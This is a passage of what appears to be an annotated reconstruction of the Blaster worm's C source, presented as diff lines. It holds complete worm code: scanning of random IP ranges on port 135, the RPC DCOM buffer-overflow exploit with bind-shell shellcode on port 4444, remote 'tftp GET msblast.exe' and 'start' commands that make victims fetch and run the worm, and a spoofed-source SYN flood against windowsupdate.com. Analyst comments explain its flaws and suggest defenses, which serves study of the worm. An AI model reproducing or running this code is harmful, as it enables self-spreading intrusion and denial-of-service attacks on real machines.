1, 512, fp); + +/* Increase the effective length to include the TFTP +* head built above */ +block_size += 4; + +/* Send this block */ +if (sendto(fd, (char*)&rspbuf, block_size, +0, (struct sockaddr*)&client, sizeof_client) <= 0) +break; + +/* Sleep for a bit. +* The reason for this is because the worm doesn't care +* about retransmits -- it therefore must send these +* packets slow enough so congestion doesn't drop them. +* If it misses a packet, then it will DoS the victim +* without actually infecting it. Worse: the intended +* victim will continue to send packets, preventing the +* worm from infecting new systems because the +* requests will misdirect TFTP. This design is very +* bad, and is my bet as the biggest single factor +* that slows down the worm. */ +Sleep(900); + +/* File transfer ends when the last block is read, which +* will likely be smaller than a full-sized block*/ +if (block_size != sizeof(rspbuf)) { +fclose(fp); +fp = NULL; +break; +} +} + +if (fp != NULL) +fclose(fp); + +closesocket_and_exit: + +/* Notify that the thread has stopped, so that the waiting +* thread can continue on */ +is_tftp_running = FALSE; +closesocket(fd); +ExitThread(0); + +return 0; +} + + + + +/* +* This function increments the IP address. +* BUFORD: This conversion from numbers, to strings, then back +* to number is overly complicated. Experienced programmers +* would simply store the number and increment it. This shows +* that Buford does not have much experience work with +* IP addresses. +*/ +void blaster_increment_ip_address() +{ +for (;;) { +if (ClassD <= 254) { +ClassD++; +return; +} + +ClassD = 0; +ClassC++; +if (ClassC <= 254) +return; +ClassC = 0; +ClassB++; +if (ClassB <= 254) +return; +ClassB = 0; +ClassA++; +if (ClassA <= 254) +continue; +ClassA = 0; +return; +} +} + + +/* +* This is called from the main() function in an +* infinite loop. It scans the next 20 addresses, +* then exits. +*/ +void blaster_spreader() +{ +fd_set writefds; + +register int i; +struct sockaddr_in sin; +struct sockaddr_in peer; +int sizeof_peer; +int sockarray[20]; +int opt = 1; +const char *victim_ip; + +/* Create the beginnings of a "socket-address" structure that +* will be used repeatedly below on the 'connect()' call for +* each socket. This structure specified port 135, which is +* the port used for RPC/DCOM. */ +memset(&sin, 0, sizeof(sin)); +sin.sin_family = AF_INET; +sin.sin_port = htons(MSRCP_PORT_135); + +/* Create an array of 20 socket descriptors */ +for (i=0; i<20; i++) { +sockarray[i] = socket(AF_INET, SOCK_STREAM, 0); +if (sockarray[i] == -1) +return; +ioctlsocket(sockarray[i], FIONBIO , &opt); +} + +/* Initiate a "non-blocking" connection on all 20 sockets +* that were created above. +* FAQ: Essentially, this means that the worm has 20 +* "threads" -- even though they aren't true threads. +*/ +for (i=0; i<20; i++) { +int ip; + +blaster_increment_ip_address(); +sprintf(target_ip_string, "%i.%i.%i.%i", +ClassA, ClassB, ClassC, ClassD); + +ip = inet_addr(target_ip_string); +if (ip == -1) +return; +sin.sin_addr.s_addr = ip; +connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin)); +} + +/* Wait 1.8-seconds for a connection. +* BUG: this is often not enough, especially when a packet +* is lost due to congestion. A small timeout actually makes +* the worm slower than faster */ +Sleep(1800); + +/* Now test to see which of those 20 connections succeeded. +* BUFORD: a more experienced programmer would have done +* a single 'select()' across all sockets rather than +* repeated calls for each socket. */ +for (i=0; i<20; i++) { +struct timeval timeout; +int nfds; + +timeout.tv_sec = 0; +timeout.tv_usec = 0; +nfds = 0; + +FD_ZERO(&writefds); +FD_SET((unsigned)sockarray[i], &writefds); + +if (select(0, NULL, &writefds, NULL, &timeout) != 1) { +closesocket(sockarray[i]); +} else { +sizeof_peer = sizeof(peer); +getpeername(sockarray[i], +(struct sockaddr*)&peer, &sizeof_peer); +victim_ip = inet_ntoa(peer.sin_addr); + +/* If connection succeeds, exploit the victim */ +blaster_exploit_target(sockarray[i], victim_ip); +closesocket(sockarray[i]); +} +} + +} + +/* +* This is where the victim is actually exploited. It is the same +* exploit as created by xfocus and altered by HDMoore. +* There are a couple of differences. The first is that the in +* those older exploits, this function itself would create the +* socket and connect, whereas in Blaster, the socket is already +* connected to the victim via the scanning function above. The +* second difference is that the packets/shellcode blocks are +* declared as stack variables rather than as static globals. +* Finally, whereas the older exploits give the hacker a +* "shell prompt", this one automates usage of the shell-prompt +* to tell the victim to TFTP the worm down and run it. +*/ +void blaster_exploit_target(int sock, const char *victim_ip) +{ + +/* These blocks of data are just the same ones copied from the +* xfocus exploit prototype. Whereas the original exploit +* declared these as "static" variables, Blaster declares +* these as "stack" variables. This is because the xfocus +* exploit altered them -- they must be reset back to their +* original values every time. */ +unsigned char bindstr[]={ +0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, + +0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, + +0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, +0x00,0x00,0x00,0x00, +0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, +0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; + + + +unsigned char request1[]={ +0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 +,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 + +,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 + +,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E + +,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D + +,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 + +,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 + +,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 + +,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 + +,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 + +,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 + +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 + +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 + +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 + +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 + +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 + +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 + +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 + +,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 + +,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 + +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF + +,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 + +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 + +,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 + +,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 + +,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 + +,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 + +,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 + +,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 + +,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 + +,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E + +,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 + +,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 + +,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 + +,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 + +,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 + +,0x00,0x00,0x00,0x00,0x00,0x00}; + +unsigned char request2[]={ +0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 +,0x00,0x00,0x5C,0x00,0x5C,0x00}; + +unsigned char request3[]={ +0x5C,0x00 +,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 + +,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 + +,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 + +,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; + + +unsigned char sc[]= +"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" +"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" +"\x46\x00\x58\x00\x46\x00\x58\x00" + +"\xff\xff\xff\xff" /* return address */ + +"\xcc\xe0\xfd\x7f" /* primary thread data block */ +"\xcc\xe0\xfd\x7f" /* primary thread data block */ + +/* port 4444 bindshell */ +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" +"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" +"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" +"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" +"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" +"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" +"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" +"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" +"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" +"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" +"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" +"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" +"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" +"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" +"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" +"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" +"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" +"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" +"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" +"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" +"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" +"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" +"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" +"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" +"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" +"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" +"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" +"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" +"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" +"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" +"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" +"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; + + + +unsigned char request4[]={ +0x01,0x10 +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 + +,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C + +,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +}; + +int ThreadId; +int len; +int sizeof_sa; +int ret; +int opt; +void *hThread; +struct sockaddr_in target_ip; +struct sockaddr_in sa; +int fd; +char cmdstr[0x200]; +int len1; +unsigned char buf2[0x1000]; +int i; + +/* +* Turn off non-blocking (i.e. re-enable blocking mode) +* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc') +* will slow down the spread of this worm. It takes a long +* time for blocking calls to timeout. I had several +* thousand worms halted by my 'deredoc' tarpit. +*/ +opt = 0; +ioctlsocket(sock, FIONBIO , &opt); + +/* +* Choose whether the exploit targets Win2k or WinXP. +*/ +if (winxp1_or_win2k2 == 1) +ret = 0x100139d; +else +ret = 0x18759f; +memcpy(sc+36, (unsigned char *) &ret, 4); + +/* ---------------------------------------------- +* This section is just copied from the original exploit +* script. This is the same as the scripts that have been +* widely published on the Internet. */ +len=sizeof(sc); +memcpy(buf2,request1,sizeof(request1)); +len1=sizeof(request1); + +*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; +*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; + +memcpy(buf2+len1,request2,sizeof(request2)); +len1=len1+sizeof(request2); +memcpy(buf2+len1,sc,sizeof(sc)); +len1=len1+sizeof(sc); +memcpy(buf2+len1,request3,sizeof(request3)); +len1=len1+sizeof(request3); +memcpy(buf2+len1,request4,sizeof(request4)); +len1=len1+sizeof(request4); + +*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc; + + +*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; +*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; +*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; +*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; +*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; +*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; +*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; + +if (send(sock,bindstr,sizeof(bindstr),0)== -1) +{ +//perror("- Send"); +return; +} + + +if (send(sock,buf2,len1,0)== -1) +{ +//perror("- Send"); +return; +} +closesocket(sock); +Sleep(400); +/* ----------------------------------------------*/ + + +/* +* This section of code connects to the victim on port 4444. +* DEFENSE : This means you can block this worm by blocking +* TCP port 4444. +* FAQ: This port is only open for the brief instant needed +* to exploit the victim. Therefore, you can't scan for +* port 4444 in order to find Blaster victims. +*/ +if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1) +return; +memset(&target_ip, 0, sizeof(target_ip)); +target_ip.sin_family = AF_INET; +target_ip.sin_port = htons(SHELL_PORT_4444); +target_ip.sin_addr.s_addr = inet_addr(victim_ip); +if (target_ip.sin_addr.s_addr == SOCKET_ERROR) +return; +if (connect(fd, (struct sockaddr*)&target_ip, +sizeof(target_ip)) == SOCKET_ERROR) +return; + +/* +* This section recreates the IP address from whatever IP +* address this successfully connected to. In practice, +* the strings "victim_ip" and "target_ip_string" should be +* the same. +*/ +memset(target_ip_string, 0, sizeof(target_ip_string)); +sizeof_sa = sizeof(sa); +getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa); +sprintf(target_ip_string, "%d.%d.%d.%d", +sa.sin_addr.s_net, sa.sin_addr.s_host, +sa.sin_addr.s_lh, sa.sin_addr.s_impno); + +/* +* This section creates a temporary TFTP service that is +* ONLY alive during the period of time that the victim +* needs to download. +* FAQ: You can't scan for TFTP in order to find Blaster +* victims because the port is rarely open. +*/ +if (fd_tftp_service) +closesocket(fd_tftp_service); +hThread = CreateThread(0,0, +blaster_tftp_thread,0,0,&ThreadId); +Sleep(80); /*give time for thread to start*/ + +/* +* This sends the command +* tftp -i 1.2.3.4 GET msblast.exe +* to the victim. The "tftp.exe" program is built into +* Windows. It's intended purpose is to allow users to +* manually update their home wireless access points with +* new software (and other similar tasks). However, it is +* not intended as a generic file-transfer protocol (it +* stands for "trivial-file-transfer-protocol" -- it is +* intended for only trivial tasks). Since a lot of hacker +* exploits use the "tftp.exe" program, a good hardening +* step is to remove/rename it. +*/ +sprintf(cmdstr, "tftp -i %s GET %s\n", +target_ip_string, MSBLAST_EXE); +if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) +goto closesocket_and_return; + +/* +* Wait 21 seconds for the victim to request the file, then +* for the file to be delivered via TFTP. +*/ +Sleep(1000); +for (i=0; i<10 && is_tftp_running; i++) +Sleep(2000); + +/* +* Assume the the transfer is successful, and send the +* command to start executing the newly downloaded program. +* BUFORD: The hacker starts this twice. Again, it +* demonstrates a lock of confidence, so he makes sure it's +* started by doing it twice in slightly different ways. +* Note that the "BILLY" mutex will prevent from actually +* running twice. +*/ +sprintf(cmdstr, "start %s\n", MSBLAST_EXE); +if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) +goto closesocket_and_return; +Sleep(2000); +sprintf(cmdstr, "%s\n", MSBLAST_EXE); +send(fd, cmdstr, strlen(cmdstr), 0); +Sleep(2000); + + +/* +* This section closes the things started in this procedure +*/ +closesocket_and_return: + +/* Close the socket for the remote command-prompt that has +* been established to the victim. */ +if (fd != 0) +closesocket(fd); + +/* Close the TFTP server that was launched above. As noted, +* this means that the TFTP service is not running most of +* the time, so it's not easy to scan for infected systems. +*/ +if (is_tftp_running) { +TerminateThread(hThread,0); +closesocket(fd_tftp_service); +is_tftp_running = 0; +} +CloseHandle(hThread); +} + + +/** +* Convert the name into an IP address. If the IP address +* is formatted in decimal-dot-notation (e.g. 192.2.0.43), +* then return that IP address, otherwise do a DNS lookup +* on the address. Note that in the case of the worm, +* it always gives the string "windowsupdate.com" to this +* function, and since Microsoft turned off that name, +* the DNS lookup will usually fail, so this function +* generally returns -1 (SOCKET_ERROR), which means the +* address 255.255.255.255. +*/ +int blaster_resolve_ip(const char *windowsupdate_com) +{ +int result; + +result = inet_addr(windowsupdate_com); +if (result == SOCKET_ERROR) { +HOSTENT *p_hostent = gethostbyname(windowsupdate_com); +if (p_hostent == NULL) +result = SOCKET_ERROR; +else +result = *p_hostent->h_addr; +} + +return result; +} + + +/* +* This thre +*/ +ULONG WINAPI blaster_DoS_thread(LPVOID p) +{ +int opt = 1; +int fd; +int target_ip; + + +/* Lookup the domain-name. Note that no checking is done +* to ensure that the name is valid. Since Microsoft turned +* this off in their domain-name servers, this function now +* returns -1. */ +target_ip = blaster_resolve_ip("windowsupdate.com"); + + +/* Create a socket that the worm will blast packets at +* Microsoft from. This is what is known as a "raw" socket. +* So-called "raw-sockets" are ones where packets are +* custom-built by the programmer rather than by the TCP/IP +* stack. Note that raw-sockets were not available in Windows +* until Win2k. A cybersecurity pundit called Microsoft +* "irresponsible" for adding them. +* +* That's probably an +* unfairly harsh judgement (such sockets are available in +* every other OS), but it's true that it puts the power of +* SYNflood attacks in the hands of lame worm writers. While +* the worm-writer would probably have chosen a different +* DoS, such as Slammer-style UDP floods, it's likely that +* Buford wouldn't have been able to create a SYNflood if +* raw-sockets had not been added to Win2k/WinXP. */ +fd = WSASocket( +AF_INET, /*TCP/IP sockets*/ +SOCK_RAW, /*Custom TCP/IP headers*/ +IPPROTO_RAW, +NULL, +0, +WSA_FLAG_OVERLAPPED +); +if (fd == SOCKET_ERROR) +return 0; + +/* Tell the raw-socket that IP headers will be created by the +* programmer rather than the stack. Most raw sockets in +* Windows will also have this option set. */ +if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, +(char*)&opt, sizeof(opt)) == SOCKET_ERROR) +return 0; + + +/* Now do the SYN flood. The worm writer decided to flood +* slowly by putting a 20-millisecond delay between packets +* -- causing only 500 packets/second, or roughly, 200-kbps. +* There are a couple of reasons why the hacker may have +* chosen this. +* 1. SYNfloods are not intended to be bandwidth floods, +* even slow rates are hard to deal with. +* 2. Slammer DoSed both the sender and receiver, therefore +* senders hunted down infected systems and removed +* them. This won't DoS the sender, so people are more +* likely not to care about a few infected machines. +*/ +for (;;) { +blaster_send_syn_packet(target_ip, fd); + +/* Q: How fast does it send the SYNflood? +* A: About 50 packets/second, where each packet is +* 320-bits in size, for a total of 15-kbps. +* It means that Buford probably intended for +* dialup users to be a big source of the DoS +* attack. He was smart enough to realize that +* faster floods would lead to users discovering +* the worm and turning it off. */ +Sleep(20); +} + + +closesocket(fd); +return 0; +} + + + +/* +* This is a standard TCP/IP checksum algorithm +* that you find all over the web. +*/ +int blaster_checksum(const void *bufv, int length) +{ +const unsigned short *buf = (const unsigned short *)bufv; +unsigned long result = 0; + +while (length > 1) { +result += *(buf++); +length -= sizeof(*buf); +} +if (length) result += *(unsigned char*)buf; +result = (result >> 16) + (result & 0xFFFF); +result += (result >> 16); +result = (~result)&0xFFFF; + +return (int)result; +} + + + +/* +* This is a function that uses "raw-sockets" in order to send +* a SYNflood at the victim, which is "windowsupdate.com" in +* the case of the Blaster worm. +*/ +void blaster_send_syn_packet(int target_ip, int fd) +{ + +struct IPHDR +{ +unsigned char verlen; /*IP version & length */ +unsigned char tos; /*IP type of service*/ +unsigned short totallength;/*Total length*/ +unsigned short id; /*Unique identifier */ +unsigned short offset; /*Fragment offset field*/ +unsigned char ttl; /*Time to live*/ +unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/ +unsigned short checksum; /*IP checksum*/ +unsigned int srcaddr; /*Source address*/ +unsigned int dstaddr; /*Destination address*/ + +}; +struct TCPHDR +{ +unsigned short srcport; +unsigned short dstport; +unsigned int seqno; +unsigned int ackno; +unsigned char offset; +unsigned char flags; +unsigned short window; +unsigned short checksum; +unsigned short urgptr; +}; +struct PSEUDO +{ +unsigned int srcaddr; +unsigned int dstaddr; +unsigned char padzero; +unsigned char protocol; +unsigned short tcplength; +}; +struct PSEUDOTCP +{ +unsigned int srcaddr; +unsigned int dstaddr; +unsigned char padzero; +unsigned char protocol; +unsigned short tcplength; +struct TCPHDR tcphdr; +}; + + + + +char spoofed_src_ip[16]; +unsigned short target_port = 80; /*SYNflood web servers*/ +struct sockaddr_in to; +struct PSEUDO pseudo; +char buf[60] = {0}; +struct TCPHDR tcp; +struct IPHDR ip; +int source_ip; + + +/* Yet another randomizer-seeding */ +srand(GetTickCount()); + +/* Generate a spoofed source address that is local to the +* current Class B subnet. This is pretty smart of Buford. +* Using just a single IP address allows defenders to turn +* it off on the firewall, whereas choosing a completely +* random IP address would get blocked by egress filters +* (because the source IP would not be in the proper range). +* Randomly choosing nearby IP addresses it probably the +* best way to evade defenses */ +sprintf(spoofed_src_ip, "%i.%i.%i.%i", +local_class_a, local_class_b, rand()%255, rand()%255); +source_ip = blaster_resolve_ip(spoofed_src_ip); + +/* Build the sockaddr_in structure. Normally, this is what +* the underlying TCP/IP stack uses to build the headers 